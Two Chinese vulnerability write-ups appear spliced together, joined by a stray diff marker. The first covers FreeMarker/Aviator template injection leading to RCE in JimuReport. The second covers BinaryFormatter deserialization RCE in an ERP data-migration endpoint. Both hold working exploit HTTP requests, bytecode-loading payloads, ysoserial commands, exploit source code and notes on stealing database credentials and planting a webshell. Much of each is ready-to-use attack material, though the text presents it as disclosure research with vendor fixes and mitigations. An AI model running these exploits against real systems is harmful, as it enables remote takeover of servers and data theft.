var5.printStackTrace();
} catch (IOException var6) {
var6.printStackTrace();
}
return var3.toString();
}
}
```
关键发现:jeecg 这个变量被直接暴露到了模板上下文,类型是 FreemarkerMethod。
受影响端点:
●/jmreport/queryFieldBySql
● /jmreport/loadTableData等。
### 3.3 攻击链拆解
既然模板注入确认,下一步就是找 RCE 路径。SAFER\_RESOLVER 把该拦的都拦了,?new 走不通。
于是审计暴露对像FreemarkerMethod 这个类本身——业务代码把它暴露到模板上下文,那它的实现有没有问题?
FreemarkerMethod.compute() 方法里,直接把用户输入传给了 AviatorEvaluator.execute():
```java
Object var13 = AviatorEvaluator.execute(field, var8);
```
这就是突破口。AviatorEvaluator.execute() 可以执行任意 Aviator 表达式。
攻击向量:
1 向 /jmreport/loadTableData 发送包含恶意 SQL 参数的 POST 请求
2 SQL 参数包含 FreeMarker 模板表达式:${jeecg.compute(...)}
3 表达式调用 jeecg.compute() 并传入 Aviator 有效载荷
4 Aviator 有效载荷使用 ReflectUtils.defineClass() 加载 Base64 编码的恶意字节码
5内存马代码执行,实现 RCE
### 3.4 漏洞利用测试(PoC)
#### 3.4.1 基础测试(版本/信息泄露)
本地测试代码:
```java
map.put("jeecg", new FreemarkerMethod());
String poc = "${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLOAD'), ClassLoader.getSystemClassLoader());\")}";
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration(DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
```
请求:
```http
POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json
{
"dbSource": "",
"sql": "${jeecg.compute([], {\"a\":10,\"b\":20}, \"a+b\")}",
"type":"0"
}
```
预期响应:30
#### 3.4.2 代码执行利用
完整利用请求:
```http
POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json;charset=UTF-8
{"sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));\")}","dbSource":"","type":"0"}
```
### 3.5 版本兼容性
不同版本之间有差异,需要针对性调整:
| JimuReport 版本 | Aviator 版本 | Base64 工具类 | 可利用性 |
| --- | --- | --- | --- |
| 2.1.3 及以下 | 5.2.6 | org.springframework.util.Base64Utils | 是 |
| 2.1.5 | - | Base64Utils 不存在 | 是 |
| 2.2.0 | - | - | 是 |
| 2.3.0+ | - | org.apache.commons.codec.binary.Base64 | 是 |
2.1.5 版本使用 org.springframework.util.Base64Utils 会报错找不到类:
需要改用 org.apache.commons.codec.binary.Base64.decodeBase64():
最终可用 Payload(v2.3.0+):
v2.3.0+ 有效载荷:
```
${jeecg.compute([], {"a":10,"b":20}, "use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));"}
```
JDK 9+ 注意: 由于 named module 限制,可能需要添加 JVM 参数:
```
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED
```
### 3.6 其他受影响端点
由于 /jmreport/loadTableData 端点同样存在 FreeMarker 注入漏洞,所以本次沙箱绕过也对该端点有效。
```http
POST /jmreport/loadTableData HTTP/1.1
Host: target:8080
Content-Type: application/json
{"dbSource":"","sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLAD'), ClassLoader.getSystemClassLoader());\")}","tableName":"aaaa);","pageNo":1,"pageSize":10}
```
### 3.7 影响范围
● 机密性: 高 - 完全系统控制
● 完整性: 高 - 完全系统控制
● 可用性: 高 - 完全系统控制
● 攻击复杂度: 低 - 默认配置无需认证
攻击者可以完全控制受影响的服务器,执行任意系统命令,访问敏感数据,并可能危及整个基础设施。
## 0x04 漏洞本质与修复
### 4.1 漏洞本质
虽然FreeMarker 本身的安全机制(SAFER\_RESOLVER、API 黑名单等)都正常工作,但业务代码自定义的 FreemarkerMethod.compute() 绕过了这些防护——它把用户输入传给了 Aviator 表达式引擎,而 Aviator 再串联 ReflectUtils.defineClass() 完成了 RCE。 这正是 BlackHat 2020 议题揭示的规律:模板或表达式安全问题往往出在业务代码暴露给模板的那些"合法"对象和方法上。
### 4.2 厂商修复
引入 SafeFreemarkerMethod,对表达式进行严格的白名单校验
```java
public class SafeFreemarkerMethod {
private static final Pattern SAFE_EXPRESSION_PATTERN = Pattern.compile("^[0-9+\\-*/().\\s]+$");
public String safeCompute(Object value) {
if (value == null) return "";
String str = value.toString();
if (SAFE_EXPRESSION_PATTERN.matcher(str).matches()) {
return str;
} else {
CommonAPI.logError("Forbidden expression detected", new SecurityException("Forbidden expression"));
return "";
}
}
}
```
详细修复方案参见:[https://github.com/jeecgboot/jimureport/issues/4733](https://github.com/jeecgboot/jimureport/issues/4733)
### 4.3 临时缓解措施
如果暂时无法升级,可以考虑:
1 禁用 JimuReport 模块(如业务不需要)
2 网络隔离:限制对 /jmreport/\* 端点的访问
3 WAF 规则:阻止包含 ${jeecg. 模式的请求
## 0x05 总结
攻防对抗永不停息。 从蛮荒时代的直接 RCE,到 SAFER\_RESOLVER,到 API 黑名单,再到 BlackHat 揭示的根数据模型利用,每一代防护都堵死了一批利用路径,但攻击者总能找到新的入口。如同前段时间爆出的fastjosn漏洞一样,永远没有绝对安全的系统。
## 0x06 时间线
| 时间 | 事件 |
| --- | --- |
| 2026-04-07 | 发现漏洞 |
| 2026-04-14 | 联系厂商(https://github.com/jeecgboot/jimureport) |
| 2026-07-22 | CVE-2026-51086、CVE-2026-51087 分配 |
| 2026-08-24 | 厂商发布修复版本 |
## 0x07 参考链接
●[https://mp.weixin.qq.com/s/5MRWZOt7SVFn7F3hobCAfQ](https://mp.weixin.qq.com/s/5MRWZOt7SVFn7F3hobCAfQ)
●[https://github.com/jeecgboot/jimureport/issues/4733](https://github.com/jeecgboot/jimureport/issues/4733)
●[FreeMarker Official Documentation](https://freemarker.apache.org/)
●[BlackHat USA 2020 - Room for Escape](https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security.pdf)
声明: 本文仅用于安全技术研究和学习,请勿用于非法用途。漏洞已报告厂商并处于修复过程中,建议相关用户关注官方更新。笔者安全业余人员,水平有限,文笔拙劣,不足之处欢迎师傅们指点和纠正,感激涕零。
关于作者:
aqyoung,专注代码审计与攻防实战研究,深耕 Web 漏洞挖掘与业务逻辑绕过场景,积极探索 LLM 安全应用;业余爱好爬山、游泳,保持技术探索与户外运动双向成长。
@@ -0,0 +1,313 @@
# 某 门户侧数据迁移接口 BinaryFormatter 反序列化远程代码执行漏洞
> 来源:https://xz.aliyun.com/news/92746
## 1\. 产品介绍
某大型型企业级云 ERP 系统,提供「数据迁移」功能(`/mvc/DataTransfer/`),用于在组织间导入/导出业务数据。该功能的导入实现中使用了 .NET 的 `BinaryFormatter` 反序列化,且未做类型白名单限制,存在远程代码执行风险。
## 2\. 漏洞标题
门户侧数据迁移接口(DataTransfer)BinaryFormatter 反序列化导致远程代码执行漏洞
## 3\. 漏洞描述
某门户侧 `UFSoft.UBF.MVC.dll` 中的 `IoPackage.DecompressPackage(byte[])` 方法将外部上传的 `.bin` 文件解压后,直接交给 `BinaryFormatter.Deserialize()` 反序列化,且未设置 `SerializationBinder` 类型白名单。
具有「数据迁移」权限的管理员会话(`ea`)可上传恶意构造的 `.bin` 文件(`BinaryFormatter` 序列化的 gadget 对象图,外包 ZIP),反序列化过程中将实例化攻击者指定的任意 .NET 类型并触发其反序列化回调,最终以 IIS 应用池(`iis apppool\u9 apppool clr4`)身份执行任意系统命令。
漏洞根因对应 CWE-502(不可信数据反序列化);同一产品此前已修复 `CommandService` 一处同类型缺陷,但门户侧该入口被遗漏。
## 4\. 漏洞分析(根因定位)
### 4.1 根因
反编译 `UFSoft.UBF.MVC.dll`:
```csharp
static IoPackage DecompressPackage(byte[] bytes)
{
BinaryFormatter formatter = new BinaryFormatter(); // ★ 未设置 Binder
byte[] decompressed = Decompress(bytes); // SharpZipLib 解包
MemoryStream stream = new MemoryStream(decompressed);
return (IoPackage)formatter.Deserialize(stream); // ★ 无限制反序列化
}
```
`BinaryFormatter` 反序列化按数据中的「类型全名」加载并实例化类型,`SerializationBinder` 是唯一可拦截「类型名 → Type」的钩子。未设置 Binder 即等价于允许加载任意类型。
### 4.2 触发链
```
POST /mvc/DataTransfer/Upload (multipart evil.bin, 文件名 .bin)
→ 存 {FileTempPath}\PackageImport\{guid}.bin,返回 PackageUploadId
POST /mvc/DataTransfer/ImportPackage (PackageUploadId + DataManagerProjectId)
→ 读 .bin → IoPackage.DecompressPackage(bytes)
→ Decompress(SharpZipLib ZIP 解包) → BinaryFormatter.Deserialize(无 Binder)
→ 加载 gadget 类型 → 反序列化回调 → Process.Start("cmd","/c <命令>") ★ RCE
```
### 4.3 gadget 原理(TextFormattingRunProperties)
利用 WPF 的 `ObjectDataProvider`(`ObjectType=System.Diagnostics.Process`、`MethodName="Start"`、`MethodParameters=["cmd","/c <命令>"]`),反序列化求值时反射调用 `Process.Start`,将「类型实例化」转化为「命令执行」。
### 4.4 数据流
```
攻击者 .bin = ZIP(单 entry) 包裹 BinaryFormatter 流
BinaryFormatter 流 = gadget 对象图(TextFormattingRunProperties → ObjectDataProvider)
```
`(IoPackage)Deserialize(...)` 中的 cast 在反序列化之后才发生,因此 gadget 代码在 cast 前已执行;攻击者实际观察到的 `InvalidCastException` 正是 RCE 已发生的表现。
## 5\. 影响版本
●\*\*\*
## 6\. 漏洞等级
| 项目 | 值 |
| --- | --- |
| CVSS v3.1 分数 | 7.2(High) |
| CVSS v3.1 向量 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 危害等级 | 高危 |
评分依据:网络可达(AV:N)、无交互(UI:N)、复杂度低(AC:L);作用域不变(S:U);需 `ea` 管理员会话(PR:H);影响为完整机密性/完整性/可用性(C:H/I:H/A:H,RCE)。
注:若评估场景中 `ea` 会话本身可通过其它低权限缺陷获取(漏洞链),PR 可降为 L,分数升至 8.8。
## 7\. 复现过程
### 7.1 环境
● Windows Server / IIS(`.NET Framework 4.x`)
● 工具:`ysoserial.net`、`MakeBin.exe`、`U9Exp.exe`(本报告 PoC,见附录)
### 7.2 步骤
1生成恶意载荷(ysoserial):
```
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.raw
```
2 打包成 `.bin`(ZIP 单 entry):
```
MakeBin.exe payload.raw evil.bin
```
3 以 `ea` 管理员登录后,上传并触发(一键):
```
Exp.exe --cmd "cmd /c whoami > C:\temp\pwned.txt" --url http://<target>/U9C --user EA --pwd <密码>
```
4 验证:目标机器 `C:\temp\pwned.txt` 内容为 `iis apppool\u9 apppool clr4`,即 RCE 成功。
![image.png](https://i.im.ge/QQQcNUr/p2m-c77dd77d80.png)
![image.png](https://i.im.ge/QQQc6Tm/p2m-2164ab7b93.png)
![image.png](https://i.im.ge/QQQcmRf/p2m-dae6c4b6ce.png)
### 7.3 攻击场景(已实测)
● 命令执行:`whoami` 回显 IIS 应用池身份。
● 敏感数据窃取:`type web.config` 泄露多组数据库明文连接串。
● 持久化:web 根可写,落 WebShell(`cmd.aspx`)建立 HTTP 命令通道。
## 8\. PoC
● `Exp.exe`:一键完成「登录 → 建项目 → 上传 `.bin` → 触发反序列化 → RCE」,支持任意命令。
●详细分步见附录《复现步骤.md》《攻击场景.md》。
## 附录 B:PoC 明文源代码
### B.1 Exp.cs(远程利用 exp,完整源码)
```csharp
using System;
static void Write(MemoryStream ms, string s) { byte[] b = Encoding.UTF8.GetBytes(s); ms.Write(b, 0, b.Length); }
static string Read(HttpWebRequest req) {
try {
using (var r = (HttpWebResponse)req.GetResponse())
using (var s = r.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
} catch (WebException we) {
if (we.Response != null)
using (var s = we.Response.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
return "";
}
}
static string Get(string url) {
var r = (HttpWebRequest)WebRequest.Create(url);
r.CookieContainer = cc; r.UserAgent = "Mozilla/5.0";
using (var resp = (HttpWebResponse)r.GetResponse())
using (var s = resp.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
}
static string Post(string url, NameValueCollection f) {
var r = (HttpWebRequest)WebRequest.Create(url);
r.CookieContainer = cc; r.Method = "POST"; r.UserAgent = "Mozilla/5.0";
r.ContentType = "application/x-www-form-urlencoded";
var sb = new StringBuilder();
foreach (string k in f) { if (sb.Length > 0) sb.Append('&'); sb.Append(Uri.EscapeDataString(k)).Append('=').Append(Uri.EscapeDataString(f[k] ?? "")); }
byte[] d = Encoding.UTF8.GetBytes(sb.ToString());
r.ContentLength = d.Length;
using (var s = r.GetRequestStream()) s.Write(d, 0, d.Length);
return Read(r);
}
static string PostJson(string url, string json) {
var req = (HttpWebRequest)WebRequest.Create(url);
req.CookieContainer = cc; req.Method = "POST";
req.ContentType = "application/json";
byte[] d = Encoding.UTF8.GetBytes(json);
req.ContentLength = d.Length;
using (var s = req.GetRequestStream()) s.Write(d, 0, d.Length);
return Read(req);
}
static long Now() { return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; }
static string Extract(string json, string key) {
int i = json.IndexOf("\"" + key + "\""); if (i < 0) return "";
int c = json.IndexOf(':', i) + 1; int s = json.IndexOf('"', c) + 1; int e = json.IndexOf('"', s);
return s <= 0 || e <= s ? "" : json.Substring(s, e - s);
}
static string RsaEncryptHex(string plain, string hexMod, string hexExp) {
var rsa = new RSACryptoServiceProvider(2048);
var p = new RSAParameters();
p.Modulus = HexToBytes(hexMod); p.Exponent = HexToBytes(hexExp);
rsa.ImportParameters(p);
return BytesToHex(rsa.Encrypt(Encoding.UTF8.GetBytes(plain), false)); // PKCS#1 v1.5
}
static byte[] HexToBytes(string hex) { if (hex.Length % 2 == 1) hex = "0" + hex; byte[] b = new byte[hex.Length / 2]; for (int i = 0; i < b.Length; i++) b[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16); return b; }
static string BytesToHex(byte[] b) { var sb = new StringBuilder(b.Length * 2); foreach (byte x in b) sb.Append(x.ToString("x2")); return sb.ToString(); }
}
// 强制代理:始终走代理(.NET 的 WebProxy 对 localhost/127.0.0.1 硬编码绕过)
class ForceProxy : IWebProxy {
private Uri proxyUri;
public ForceProxy(string url) { proxyUri = new Uri(url); }
public ICredentials Credentials { get; set; }
public Uri GetProxy(Uri destination) { return proxyUri; }
public bool IsBypassed(Uri host) { return false; }
}
```
### B.2 MakeBin.cs(把 BF 载荷打成 .bin,ZIP 单 entry)
```csharp
using System;
using System.IO;
using ICSharpCode.SharpZipLib.Zip;
// 把 ysoserial 原始 BF 载荷打包成 U9C DataTransfer 期望的 .bin(与 IoPackage.Compress 同格式)
class MakeBin {
static int Main(string[] args) {
if (args.Length < 2) { Console.WriteLine("usage: MakeBin <rawPayload> <out.bin>"); return 2; }
byte[] content = File.ReadAllBytes(args[0]);
using (var ms = new MemoryStream()) {
var zip = new ZipOutputStream(ms);
zip.IsStreamOwner = false;
var entry = new ZipEntry("a.bin") { Size = content.Length };
zip.PutNextEntry(entry);
zip.Write(content, 0, content.Length);
zip.CloseEntry(); zip.Finish(); zip.Close();
File.WriteAllBytes(args[1], ms.ToArray());
}
return 0;
}
}
```
### B.3 反序列化回调 = 代码执行点的最小自证类型(本地 PoC 核心)
下面的 `Evil` 类型说明了漏洞本质:`BinaryFormatter.Deserialize` 会调用类型的 `ISerializable` 特殊构造函数(反序列化回调),攻击者只要把「命令执行」写进这个回调即可。
```csharp
[Serializable]
public class Evil : ISerializable
{
public Evil() { }
// BinaryFormatter.Deserialize 时自动调用的「反序列化构造函数」= 代码执行点
protected Evil(SerializationInfo info, StreamingContext context)
{
// 任意命令执行:等价于 ysoserial gadget 的触发点
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami > C:\\temp\\poc_pwned.txt")
{
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var p = System.Diagnostics.Process.Start(psi)) { p.WaitForExit(5000); }
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.AddValue("x", 0x1337);
}
}
```
真实攻击中,把上面的 `Evil` 换成 ysoserial 的 `TextFormattingRunProperties` gadget(无需目标已加载 Evil 类型,利用 WPF `ObjectDataProvider` 触发 `Process.Start`),原理完全一致:反序列化回调 = 代码执行点。